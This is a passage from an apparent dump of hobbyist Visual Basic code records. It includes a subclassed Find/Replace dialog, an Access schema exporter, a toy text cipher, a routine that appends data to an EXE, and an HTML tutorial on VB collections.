Left$(strPtnReplace, ptnLen) \n End If \n \n 'Call the correct default window procedure \n 'Then Customize the window procedure \n Select Case hDlg \n Case ghFindCmdBtn: 'POST PROCESS FIND BUTTON \n If gOldFindDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldFindDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Call EventFindButton(strPtnFind, lMatchWord, lMatchCase, _ \n lSearchUp, lSearchDn) \n \n Case ghCancelCmdBtn: 'PRE PROCESS CANCEL BUTTON \n Call EventCancelButton \n If gOldCancelDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldCancelDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n \n Case ghReplaceCmdBtn: 'POST PROCESS REPLACE BUTTON \n If gOldReplaceDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldReplaceDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Call EventReplaceButton(strPtnFind, strPtnReplace, lMatchWord, _ \n lMatchCase, lSearchUp, lSearchDn) \n \n Case ghReplaceAllCmdBtn: 'POST PROCESS REPLACE ALL BUTTON \n If gOldReplaceAllDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldReplaceAllDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Call EventReplaceAllButton(strPtnFind, strPtnReplace, lMatchWord, _ \n lMatchCase, lSearchUp, lSearchDn) \n End Select \n \n Case Else \n 'Call the correct default window procedure \n Select Case hDlg \n Case ghFindCmdBtn: \n If gOldFindDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldFindDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Case ghCancelCmdBtn: \n If gOldCancelDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldCancelDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Case ghReplaceCmdBtn: \n If gOldReplaceDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldReplaceDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Case ghReplaceAllCmdBtn: \n If gOldReplaceAllDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldReplaceAllDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n End Select \n End Select \n End Function \n \n Private Sub EventCancelButton() \n '========================================================= \n ' This SUB gets called from FindTextHookProc \n ' when Find/Replace \"CANCEL\" button is pressed \n '========================================================= \n Dim lngReturnValue As Long \n 'UNHOOK ALL OF THE WINDOW HOOKS!!! \n If Not ghFindCmdBtn = 0 Then lngReturnValue = SetWindowLong(ghFindCmdBtn, _ \n GWL_WNDPROC, gOldFindDlgWndHandle) \n If Not ghReplaceCmdBtn = 0 Then lngReturnValue = SetWindowLong(ghReplaceCmdBtn, _ \n GWL_WNDPROC, gOldReplaceDlgWndHandle) \n If Not ghReplaceAllCmdBtn = 0 Then lngReturnValue = SetWindowLong(ghReplaceAllCmdBtn, _ \n GWL_WNDPROC, gOldReplaceAllDlgWndHandle) \n lngReturnValue = SetWindowLong(ghCancelCmdBtn, GWL_WNDPROC, gOldCancelDlgWndHandle) \n \n 'Cleanup the global find object \n Set gFindObj = Nothing \n End Sub \n \n Private Sub EventFindButton(FindString As String, MatchWord As Boolean, _ \n MatchCase As Boolean, SearchUp As Boolean, SearchDn As Boolean) \n '========================================================= \n ' This SUB gets called from FindTextHookProc \n ' when Find/Replace \"FIND\" button is pressed \n ' gFindObj is the object we need to do stuff to... \n '========================================================= \n Dim sp As Integer 'start point of matching string \n Dim ep As Integer 'end point of matchiing string \n \n With gFindObj \n SetFocus .hwnd \n If SearchDn = True Or gIsDlgReplaceBox = True Then 'WE'RE DOING A FORWARD SEARCH! \n sp = InStr(IIf(.SelStart = 0, 1, .SelStart) + .SelLength, .Text, _ \n IIf(MatchWord, \" \" + Trim$(FindString) + \" \", FindString), _ \n IIf(MatchCase, vbBinaryCompare, vbTextCompare)) \n sp = IIf(sp = 0, -1, sp - 1) \n If sp = -1 Then \n MsgBox \"Cannot find \" + Chr$(34) + FindString + Chr$(34) + \".\", _ \n vbExclamation, \"Find\" \n Else \n .SelStart = sp \n .SelLength = IIf(MatchWord, Len(\" \" + Trim$(FindString) + \" \"), Len(FindString)) \n End If \n Else 'WE'RE DOING A BACKWARD SEARCH \n MsgBox \"I DIDNT CODE A BACKWARDS SEARCH ;-)\", vbInformation, \"Find\" \n End If \n End With \n End Sub \n \n Private Sub EventReplaceAllButton(FindString As String, ReplaceString As String, _ \n MatchWord As Boolean, MatchCase As Boolean, SearchUp As Boolean, SearchDn As Boolean) \n '========================================================= \n ' This SUB gets called from FindTextHookProc \n ' when Find/Replace \"REPLACE ALL\" button is pressed \n ' gFindObj is the object we need to do stuff to... \n '========================================================= \n \n MsgBox \"I didn't code a REPLACE ALL Function, but this shows the event firing ;-)\" + vbCrLf + _ \n \"Here are the variables passed into the subroutine... Happy Coding!\" + vbCrLf + _ \n \"MatchWord=\" + CStr(MatchWord) + vbCrLf + _ \n \"MatchCase=\" + CStr(MatchCase) + vbCrLf + _ \n \"SearchUp=\" + CStr(SearchUp) + vbCrLf + _ \n \"SearchDn=\" + CStr(SearchDn) + vbCrLf + _ \n \"FindString=\" + FindString + vbCrLf + _ \n \"ReplaceString=\" + ReplaceString \n End Sub \n \n Private Sub EventReplaceButton(FindString As String, ReplaceString As String, _ \n MatchWord As Boolean, MatchCase As Boolean, SearchUp As Boolean, SearchDn As Boolean) \n '========================================================= \n ' This SUB gets called from FindTextHookProc \n ' when Find/Replace \"REPLACE\" button is pressed \n ' gFindObj is the object we need to do stuff to... \n '========================================================= \n \n With gFindObj \n 'WE'RE DOING A FORWARD SEARCH ALWAYS! \n SetFocus .hwnd \n 'Replace the highlighted text, if any \n If Not .SelLength = 0 Then \n .SelText = ReplaceString \n .SelLength = 0 \n End If \n 'Find the next occurrence \n sp = InStr(IIf(.SelStart = 0, 1, .SelStart) + .SelLength, .Text, _ \n IIf(MatchWord, \" \" + Trim$(FindString) + \" \", FindString), _ \n IIf(MatchCase, vbBinaryCompare, vbTextCompare)) \n sp = IIf(sp = 0, -1, sp - 1) \n If sp = -1 Then \n MsgBox \"At end of text.\", vbInformation, \"Find\" \n Else \n .SelStart = sp \n .SelLength = IIf(MatchWord, Len(\" \" + Trim$(FindString) + \" \"), Len(FindString)) \n End If \n .SetFocus \n End With \n End Sub \n \n Public Sub ShowFindDialog(DialogType As FR_DIALOG_TYPE, ParentObject As Object, _ \n TargetObject As Object, Optional DefaultFindText, Optional DefaultReplaceText, _ \n Optional DialogBoxFlags) \n '============================================================================ \n ' This subroutine is a wrapper to call the FIND and FIND/REPLACE DialogBoxes \n ' \n ' Arguments are: \n ' \n ' DialogType : 0=Show FindDialogBox, 1=Show ReplaceDialogBox \n ' \n ' ParentObject : Form that will be the parent of the DialogBox \n ' \n ' TargetObject : Textbox object to search/replace text \n ' \n ' DefaultFindText : OPTIONAL Initializes the \"Find Text\" TextBox \n ' \n ' DefaultReplaceText : OPTIONAL Initialized the \"Replace Text\" Textbox \n ' \n ' DialogBoxFlags : OPTIONAL Turns off items in the DialogBox \n ' Values can be: \n ' FR_NOMATCHCASE Or FR_NOUPDOWN Or FR_NOWHOLEWORD \n '============================================================================ \n \n Dim szFindString As String 'initial string to find \n Dim szReplaceString As String 'initial string to find \n Dim strFindArr() As Byte 'for API use \n Dim strReplaceArr() As Byte 'for API use \n Dim iVal As Long 'position indicator in the loop \n \n \n 'Get the default strings to plug into the dialogbox, if present \n szFindString = IIf(IsMissing(DefaultFindText) = True, \"\", CStr(DefaultFindText)) + Chr$(0) \n ReDim strFindArr(0 To Len(szFindString) - 1) \n For iVal = 1 To Len(szFindString) \n strFindArr(iVal - 1) = Asc(Mid(szFindString, iVal, 1)) \n Next iVal \n szReplaceString = IIf(IsMissing(DefaultReplaceText) = True, \"\", CStr(DefaultReplaceText)) + Chr$(0) \n ReDim strReplaceArr(0 To Len(szReplaceString) - 1) \n For iVal = 1 To Len(szReplaceString) \n strReplaceArr(iVal - 1) = Asc(Mid(szReplaceString, iVal, 1)) \n Next iVal \n \n 'Fill in the frText data... \n With frText \n .flags = IIf(IsMissing(DialogBoxFlags) = True, 0, DialogBoxFlags) \n .lpfnHook = 0& \n .lpTemplateName = 0& \n .lStructSize = Len(frText) \n .hwndOwner = ParentObject.hwnd \n .hInstance = App.hInstance \n .lpstrFindWhat = VarPtr(strFindArr(0)) \n .wFindWhatLen = Len(szFindString) \n .lpstrReplaceWith = VarPtr(strReplaceArr(0)) \n .wReplaceWithLen = Len(szReplaceString) \n .lCustData = 0 \n End With \n \n 'Set the object we're going to be doing the find/replace with \n Set gFindObj = TargetObject \n \n 'Show the dialog box. \n If DialogType = FindDialogBox Then \n gHDlg = FindText(frText) \n gIsDlgReplaceBox = False \n Else \n gHDlg = ReplaceText(frText) \n gIsDlgReplaceBox = True \n End If \n \n 'Set the \"Search Down\" radio button. \n CheckDlgButton gHDlg, GD_SEARCHUP, BST_UNCHECKED \n CheckDlgButton gHDlg, GD_SEARCHDN, BST_CHECKED \n \n 'Get the handles of the dialog box \n ghFindCmdBtn = GetDlgItem(gHDlg, 1) 'FIND BUTTON \n ghCancelCmdBtn = GetDlgItem(gHDlg, 2) 'CANCEL BUTTON \n ghReplaceCmdBtn = GetDlgItem(gHDlg, 1024) 'REPLACE BUTTON \n ghReplaceAllCmdBtn = GetDlgItem(gHDlg, 1025) 'REPLACE ALL BUTTON \n \n 'Hook all of the necessary default window procedures for the dialog box. \n If Not ghFindCmdBtn = 0 Then \n gOldFindDlgWndHandle = GetWindowLong(ghFindCmdBtn, GWL_WNDPROC) \n If SetWindowLong(ghFindCmdBtn, GWL_WNDPROC, AddressOf FindTextHookProc) = 0 _ \n Then gOldFindDlgWndHandle = 0 \n End If \n \n If Not ghCancelCmdBtn = 0 Then \n gOldCancelDlgWndHandle = GetWindowLong(ghCancelCmdBtn, GWL_WNDPROC) \n If SetWindowLong(ghCancelCmdBtn, GWL_WNDPROC, AddressOf FindTextHookProc) = 0 _ \n Then gOldCancelDlgWndHandle = 0 \n End If \n \n If Not ghReplaceCmdBtn = 0 Then \n gOldReplaceDlgWndHandle = GetWindowLong(ghReplaceCmdBtn, GWL_WNDPROC) \n If SetWindowLong(ghReplaceCmdBtn, GWL_WNDPROC, AddressOf FindTextHookProc) = 0 _ \n Then gOldReplaceDlgWndHandle = 0 \n End If \n \n If Not ghReplaceAllCmdBtn = 0 Then \n gOldReplaceAllDlgWndHandle = GetWindowLong(ghReplaceAllCmdBtn, GWL_WNDPROC) \n If SetWindowLong(ghReplaceAllCmdBtn, GWL_WNDPROC, AddressOf FindTextHookProc) = 0 _ \n Then gOldReplaceAllDlgWndHandle = 0 \n End If \n End Sub \n'------------------------------------------------------------------------------- \n\n6) Run the program and type some text into the textbox. then put the cursor in the textbox at the top of the textbox. \n\n7) Click \"Command1\" and the Find Dialog box will show. Try the box out!! \n8) Put the cursor in the textbox back at the beginning of the textbox and click \"Command2\". The Find/Replace dialog box will show... Try it out! \nI have included setting the search textbox and the replace textbox in this code, so if you wanted to populate it before showing the dialogbox, call ShowFindDialog like this: \n\n ShowFindDialog FindDialogBox, Me, Text1, \"Find This\" \n ShowFindDialog ReplaceDialogBox, Me, Text1, \"Find This\", \"Replace with this\" \nYou can also add another optional argument to disable parts of the dialogbox... ;-) \n"},{"WorldId":1,"id":9290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9291,"LineNumber":1,"line":"Sub GetMDBDescription()\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'Creator chris hankey\n'Inputs none\n'Returns none\n'Created 1/14/2000\n'Modified\n'Notes extracts all field and table descriptions from the database\n' indicated by the user and loads them into the active sheet.\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n Dim sPath As String\n Dim db As Database\n Dim tdf As TableDef\n Dim qdf As QueryDef\n Dim fld As Field\n Dim iRow As Integer\n Dim sTemp As String\n \n On Error GoTo ErrorHandler\n \n \n \n \n 'get the path of the mdb from the user\n sPath = InputBox(\"Please enter the MDB's path\")\n 'clear the sheets contents. Also removes all formatting\n Cells.Delete\n \n iRow = 1\n 'exit the sub if the user does not enter a path\n If sPath <> vbNullString Then\n 'test the path to make sure that it actually points to a file\n sPathTest = Dir(sPath, vbNormal)\n \n Set db = OpenDatabase(sPath)\n \n 'format the sheet now that we have received a valid MDB\n 'to open\n Columns(\"A:A\").VerticalAlignment = xlTop\n Columns(\"A:A\").ColumnWidth = 36\n Columns(\"B:B\").VerticalAlignment = xlTop\n Columns(\"B:B\").WrapText = True\n Columns(\"B:B\").ColumnWidth = 26\n Columns(\"D:D\").VerticalAlignment = xlTop\n Columns(\"D:D\").WrapText = True\n Columns(\"D:D\").ColumnWidth = 43\n \n ActiveSheet.Cells(iRow, 1) = \"Tables\"\n ActiveSheet.Cells(iRow, 1).Font.Bold = True\n ActiveSheet.Cells(iRow, 1).Font.Size = 12\n iRow = iRow + 1\n \n 'scroll thru the tabledefs\n For Each tdf In db.TableDefs\n \n 'skip Access System tables - they all start with MSys\n If Left(tdf.Name, 4) <> \"MSys\" Then\n ActiveSheet.Cells(iRow, 1) = tdf.Name\n ActiveSheet.Cells(iRow, 1).Font.Bold = True\n ActiveSheet.Cells(iRow, 1).Font.Underline = xlUnderlineStyleSingle\n ActiveSheet.Cells(iRow, 2) = tdf.Properties(\"Description\")\n \n 'merge the cells for the table descriptions\n sTemp = \"B\" & iRow & \":D\" & iRow\n Range(sTemp).MergeCells = True\n \n iRow = iRow + 1\n \n 'generate a header for the fields\n ActiveSheet.Cells(iRow, 2) = \"Field Name\"\n ActiveSheet.Cells(iRow, 2).Font.Bold = True\n ActiveSheet.Cells(iRow, 2).Font.Underline = xlUnderlineStyleSingle\n ActiveSheet.Cells(iRow, 3) = \"Type\"\n ActiveSheet.Cells(iRow, 3).Font.Bold = True\n ActiveSheet.Cells(iRow, 3).Font.Underline = xlUnderlineStyleSingle\n ActiveSheet.Cells(iRow, 4) = \"Description\"\n ActiveSheet.Cells(iRow, 2).Font.Bold = True\n ActiveSheet.Cells(iRow, 4).Font.Underline = xlUnderlineStyleSingle\n iRow = iRow + 1\n \n 'scroll thru the fields\n For Each fld In tdf.Fields\n \n ActiveSheet.Cells(iRow, 2) = fld.Name\n ActiveSheet.Cells(iRow, 2).Font.Bold = True\n ActiveSheet.Cells(iRow, 3) = TypeName(fld.Type)\n ActiveSheet.Cells(iRow, 4) = fld.Properties(\"Description\")\n iRow = iRow + 1\n Next fld\n iRow = iRow + 1\n End If\n Next tdf\n \n 'generate a query section header\n iRow = iRow + 1\n ActiveSheet.Cells(iRow, 1) = \"Queries\"\n ActiveSheet.Cells(iRow, 1).Font.Bold = True\n ActiveSheet.Cells(iRow, 1).Font.Size = 12\n \n 'merge the cells for the Query descriptions\n sTemp = \"B\" & iRow & \":D\" & iRow\n Range(sTemp).MergeCells = True\n iRow = iRow + 1\n 'scroll thru the queries\n For Each qdf In db.QueryDefs\n ActiveSheet.Cells(iRow, 1) = qdf.Name\n ActiveSheet.Cells(iRow, 1).Font.Bold = True\n ActiveSheet.Cells(iRow, 1).Font.Underline = xlUnderlineStyleSingle\n ActiveSheet.Cells(iRow, 4) = qdf.Properties(\"Description\")\n \n 'merge the cells for the Query descriptions\n sTemp = \"B\" & iRow & \":D\" & iRow\n Range(sTemp).MergeCells = True\n iRow = iRow + 1\n Next qdf\n End If\nExitSub:\n Exit Sub\nErrorHandler:\n Select Case Err\n Case 3270 'property not found\n Resume Next\n Case Else\n MsgBox Err.Description\n GoTo ExitSub\n End Select\nEnd Sub\nFunction TypeName(iType As Integer) As String\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'Creator chris hankey\n'Inputs iType - data type of field\n'Returns string containing name of type\n'Created 1/14/2000\n'Modified\n'Notes\n'\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n Select Case iType\n Case dbBigInt\n TypeName = \"Big Integer\"\n Case dbBinary\n TypeName = \"Binary\"\n Case dbBoolean\n TypeName = \"Boolean\"\n Case dbByte\n TypeName = \"Byte\"\n Case dbChar\n TypeName = \"Char\"\n Case dbCurrency\n TypeName = \"Currency\"\n Case dbDate\n TypeName = \"Date\"\n Case dbDecimal\n TypeName = \"Decimal\"\n Case dbDouble\n TypeName = \"Double\"\n Case dbFloat\n TypeName = \"Float\"\n Case dbGUID\n TypeName = \"GUID\"\n Case dbInteger\n TypeName = \"Integer\"\n Case dbLong\n TypeName = \"Long\"\n Case dbLongBinary\n TypeName = \"Long Binary\"\n Case dbMemo\n TypeName = \"Memo\"\n Case dbNumeric\n TypeName = \"Numeric\"\n Case dbSingle\n TypeName = \"Single\"\n Case dbText\n TypeName = \"Text\"\n Case dbTime\n TypeName = \"Time\"\n Case dbTimeStamp\n TypeName = \"Time Stamp\"\n Case dbVarBinary\n TypeName = \"VarBinary\"\n Case Else\n TypeName = \"\"\n End Select\nEnd Function\n"},{"WorldId":1,"id":9292,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9294,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9296,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9299,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9303,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9310,"LineNumber":1,"line":"Dim s As String, i As Integer\nIf Left(Text1, 3) = \"DMK\" Then\nText1 = Right(Text1, Len(Text1) - 3)\nFor i = 1 To Len(Text1)\nIf i <= 100 Then\ns = s & Chr(Asc(Mid(Text1, i, 1)) - 128 Mod i)\nElse\ns = s & Chr(Asc(Mid(Text1, i, 1)) - 128 Mod i / 10)\nEnd If\nNext\nElse\nFor i = 1 To Len(Text1)\nIf i <= 100 Then\ns = s & Chr(Asc(Mid(Text1, i, 1)) + 128 Mod i)\nElse\ns = s & Chr(Asc(Mid(Text1, i, 1)) + 128 Mod i / 10)\nEnd If\nNext\ns = \"DMK\" & s\nEnd If\nText1 = s"},{"WorldId":1,"id":9312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9316,"LineNumber":1,"line":"Public Sub MakeLink(LabelName As Label, Operation As OpType, Optional FormName As Form)\n Dim Openpage As Integer\n \n Select Case Operation\n Case LinkMove\n LabelName.ForeColor = 255\n LabelName.FontUnderline = True\n Case Click\n Openpage = ShellExecute(FormName.hwnd, \"Open\", LabelName.Caption, \"\", App.Path, 1)\n LabelName.ForeColor = 8388736\n Clicked = True\n Case FormMove\n LabelName.FontUnderline = False\n If Not Clicked Then\n LabelName.ForeColor = 16711680\n Else\n LabelName.ForeColor = 8388736\n End If\n Case Startup\n LabelName.ForeColor = 16711680\n End Select\nEnd Sub"},{"WorldId":1,"id":9317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9325,"LineNumber":1,"line":"Function GetPi(iLengthOfPI As Integer) As String\n'*************************************************************\n'Creation Date: 06/10/2000\n'Author: Ramon Morales\n'Comments: This function finds Pi to the requested number of\n'decimal places. It does not calculate Pi, there is a hard\n'coded string and ther result is parsed based on the requested\n'number of decimal places.\n'*************************************************************\nDim sPi As String\n '********************************\n 'Error Trapping\n If iLengthOfPI > 1000 Or iLengthOfPI < 1 Then\n GoTo StandardExit\n End If\n '********************************\n \n sPi = \"3.141592653589793238462643383279502884197\" '\n sPi = sPi & \"1693993751058209749445923078164\"\n sPi = sPi & \"0628620899862803482534211706798\"\n sPi = sPi & \"2148086513282306647093844609550\"\n sPi = sPi & \"5822317253594081284811174502841\"\n sPi = sPi & \"02701938521105559644622948954930\"\n sPi = sPi & \"38196442881097566593344612847564\"\n sPi = sPi & \"823378678316527120190914564856692\"\n sPi = sPi & \"346034861045432664821339360726024\"\n sPi = sPi & \"914127372458700660631558817488152\"\n sPi = sPi & \"092096282925409171536436789259036\"\n sPi = sPi & \"001133053054882046652138414695194\"\n sPi = sPi & \"151160943305727036575959195309218\"\n sPi = sPi & \"611738193261179310511854807446237\"\n sPi = sPi & \"996274956735188575272489122793818\"\n sPi = sPi & \"301194912983367336244065664308602\"\n sPi = sPi & \"139494639522473719070217986094370\"\n sPi = sPi & \"277053921717629317675238467481846\"\n sPi = sPi & \"766940513200056812714526356082778\"\n sPi = sPi & \"577134275778960917363717872146844\"\n sPi = sPi & \"0901224953430146549585371050792279\"\n sPi = sPi & \"6892589235420199561121290219608640\"\n sPi = sPi & \"3441815981362977477130996051870721\"\n sPi = sPi & \"1349999998372978049951059731732816\"\n sPi = sPi & \"0963185950244594553469083026425223\"\n sPi = sPi & \"0825334468503526193118817101000313\"\n sPi = sPi & \"7838752886587533208381420617177669\"\n sPi = sPi & \"1473035982534904287554687311595628\"\n sPi = sPi & \"6388235378759375195778185778053217\"\n sPi = sPi & \"1226806613001927876611195909216420\"\n sPi = sPi & \"1989\"\nStandardExit:\n On Error Resume Next\n If iLengthOfPI <= 1000 Then\n GetPi = Mid$(sPi, 1, (iLengthOfPI + 2))\n End If\n If iLengthOfPI > 1000 Then\n GetPi = \"Length Too Long\"\n End If\n If iLengthOfPI < 1 Then\n GetPi = \"Length Must be at Least 1\"\n End If\n \nEnd Function\n\n"},{"WorldId":1,"id":9326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9330,"LineNumber":1,"line":"Private Sub AppendToExe(exefile$,filetoappend$)\n Open filetoappend$ For Binary As #1\n filedata$ = String(LOF(1), \" \")\n Get #1, , filedata$\n Close #1\n Open exefile$ For Binary As #1\n f = LOF(1)\n Seek #1, f + 1\n Put #1, , \"WAP\" 'any identifer\n Put #1, , filedata$\n Close #1\n \nEnd Sub\nPrivate Sub ExtractFromExe(exefile$,filetoextr$)\n Open exefile$ For Binary As #1\n filedata$ = String(LOF(1), \" \")\n Get #1, , filedata$\n Close #1\n pos = InStr(1, filedata$, \"WAP\")\n f$ = Mid$(filedata$, pos + 3)\n \n Open filetoextr$ For Binary As #2\n Put #2, , f$\n Close #2\n \nEnd Sub"},{"WorldId":1,"id":9331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9347,"LineNumber":1,"line":"Dim blue&, green&, red&, colour&\nBlue& = Int(Colour& / 65536)\nGreen& = Int((Colour& - (65536 * Blue&)) / 256)\nRed& = Colour& - (Blue& * 65536) - (Green& * 256)\n'to return the colour to its original decimal format\nColour& = RGB(Red&, Green&, Blue&)\n"},{"WorldId":1,"id":9349,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1252\">\n<META NAME=\"Generator\" CONTENT=\"Microsoft Word 97\">\n<TITLE>Using Collections</TITLE>\n<META NAME=\"Template\" CONTENT=\"D:\\Program Files\\Microsoft Office\\Office\\html.dot\">\n</HEAD>\n<BODY LINK=\"#0000ff\" VLINK=\"#800080\">\nUsing Collections\nSo you have heard of Collections and may have even used them a few times. An unassuming word…collections. It doesn’t inspire much excitement in most circles, yet there are very few single words that represent such a powerful element of programming as they do. This article will outline some of the general and specific uses of collections in Visual Basic and Access. After reading it, you will hopefully have a higher respect for this often overlooked aspect of VB.\nJust what are collections anyway? Well, they are just what their name implies. They are a logical grouping of objects in Visual Basic. The Visual Basic object model consists of objects and collections of objects. For example, you have a \"Forms\" collection which contains all of the forms in the application. Each form also has an Objects collection which contains all of the objects that are contained in the form. On the Access side, there is a TableDefs collection which contains all of the tables in your database, and each of these TableDefs contains a Fields collection. As you may have guessed, the Fields collections contains all of the fields that exists in each table. \nWhat does this mean to the average coder? Where is the payoff for all of this organization? You are about to find out. Using the Forms example above, consider this problem:\nFor some strange reason, your client wants you to create a function that will show all of the forms in the entire application at once. You could so something like this:\nFunction ShowForms<DIR>\n<DIR>\n\tFrmSplash.Show\n\tFrmMainMenu.Show\n\tFrmSelectUser.Show\n\tFrmOpenDocument.Show\n\t…etc….etc….</DIR>\n</DIR>\nEnd Function\nThis can be tedious if the application has 35 or so forms. And to make matters worse, they keep adding and removing forms, so you have to keep coming back and changing this function to keep from causing a compile error \"Object required\" every time one changes. What a pain. You could solve this entire problem by either finding a new job, talking some sense into your client (like THAT would work!) or by using this code:\nFunction ShowForms<DIR>\n<DIR>\n\tDim frmForm as Form\n\tFor each frmForm in Forms<DIR>\n<DIR>\n\t\tFrmForm.Show</DIR>\n</DIR>\n\tNext frmForm</DIR>\n</DIR>\nEnd Function\nNow the client can add, remove, and change the name of as many forms as he likes without effecting the operation of the application. By looping through (or \"iterating\") the collection, you have made you code immune to the whims of your client. Lets look at how this works by examining each statement. \nDim frmForm as Form\nThis statement creates an object variable that will hold each form object as we iterate through the Forms collection. It is basically a temporary storage space for a form object.\nFor each frmForm in Forms\nIf you haven’t yet started using the For Each … Next statement, you need to get with the program. It works just like the old Basic/VB For…Next, but it does it with objects instead of variables. This is the heart of working with collections.\nFrmForm.Show\n \nThis magic little statement takes the place of all of those other .show statements in the prior example. With each pass through the For Each…Next loop, the object variable frmForm is reassigned to contain the current form object. So when you say \"frmForm.Show\", VB interprets it as frmSplash.Show, frmMainMenu.Show, or whatever form is currently being proccessed. \n \nNext frmForm\nWraps up the loop. This will return execution back to the For Each… statement above it. Code execution will pass through this loop once for each form in the Forms collection.\n \nNow that you understand the basic logic of iterating through collections, you can see how this could be put to practical use. To cascade all open forms on the screen, you could modify the code to this:\nFunction CascadeForms\nDim intTop As Integer\nDim intLeft As Integer\nDim frmForm as Form\nFor each frmForm in Forms\nIf frmForm.Visible = True Then<DIR>\n<DIR>\n\t\tIntTop = intTop + 100\n\t\tIntLeft = IntLeft + 100\n\t\tFrmForm.Top = IntTop\n\t\tFrmForm.Left = IntLeft\t\t\t\t\n\tEnd if</DIR>\n</DIR>\nNext frmForm\nEnd Function\nThis code will place forms over each other in cascade style, starting at coordinates 100,100 and moving down and to the right in increments of 100. It took almost as many letters to explain it as it does to write it!\nThe thing to note in this example is that ALL of the forms’ properties and functions are available as you loop though the collection. For example, you could have changed the caption of each one or the border style of only certain ones. \nOK…enough about forms. Where else can these really cool collections be used? How about within a form? This code will print a list of all objects on a form to the debug window:\nFunction ShowObjects<DIR>\n<DIR>\n\tDim objObject as Object\n\tFor each objObject in Me<DIR>\n<DIR>\n\t\tDebug.Print objObject.Name</DIR>\n</DIR>\n\tNext objObject</DIR>\n</DIR>\nEnd Function\nThis will work whether you have one or 1000 objects on a form…although I wouldn’t recommend putting that many controls on a single form…but hey, it would work with it! \nThe thing to note in the above code (besides the obvious compactness of it) is the use of the Me keyword. This is important. Me translates in VB to \"Whichever form this code is running in\". It is used to reference the Objects collection for the current form. This means that you could copy this code from one form and paste it directly into another and it would work with NO code changes. Here is a more practical example of the objects collection:\nYou have a form with 25 text boxes on it and you want to automatically center them when the user resizes the form. You could write some pretty painful code to do this, or you could do this:\nPrivate Sub Form_Resize()<DIR>\n<DIR>\n\tDim objObject as Object\n\tFor each objObject in Me<DIR>\n<DIR>\n\t\tObjObject.Left = (Me.Width / 2) - (objObject.Width / 2)</DIR>\n</DIR>\n\tNext objObject</DIR>\n</DIR>\nEnd sub\nThis code will center any objects, no matter what their widths. With a little imagination, you can probably see how this same concept could be used to resized objects in a form as well. In fact, for the curious, I have already posted a sample project with the code to do just that in it. You can take a look at it by <A HREF=\"http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=9135\">clicking here</A>.\nI hope you have found this article helpful. If you would like to have me post a follow up showing more advanced techniques for using collections, please leave some helpful comments and maybe a rating at PlanetSourceCode</A>. \nHave Fun!\nM@\nPS: For information on using the Microsoft Jet Database collections, <a href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.11529/lngWId.1/qx/vb/scripts/ShowCode.htm\"> Click Here </a> to view my second collections tutorial.\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":9350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9353,"LineNumber":1,"line":"Private b1() As Byte\nPrivate b2() As Byte\nPublic Function Simil(String1 As String, String2 As String) As Double\n Dim l1 As Long\n Dim l2 As Long\n Dim l As Long\n Dim r As Double\n If UCase(String1) = UCase(String2) Then\n r = 1\n Else\n l1 = Len(String1)\n l2 = Len(String2)\n If l1 = 0 Or l2 = 0 Then\n r = 0\n Else\n ReDim b1(1 To l1): ReDim b2(1 To l2)\n For l = 1 To l1\n b1(l) = Asc(UCase(Mid(String1, l, 1)))\n Next\n For l = 1 To l2\n b2(l) = Asc(UCase(Mid(String2, l, 1)))\n Next\n r = SubSim(1, l1, 1, l2) / (l1 + l2) * 2\n End If\n End If\n Simil = r\n Erase b1\n Erase b2\nEnd Function\nPrivate Function SubSim(st1 As Long, end1 As Long, st2 As Long, end2 As Long) As Long\n Dim c1 As Long\n Dim c2 As Long\n Dim ns1 As Long\n Dim ns2 As Long\n Dim i As Long\n Dim max As Long\n If st1 > end1 Or st2 > end2 Or st1 <= 0 Or st2 <= 0 Then Exit Function\n For c1 = st1 To end1\n For c2 = st2 To 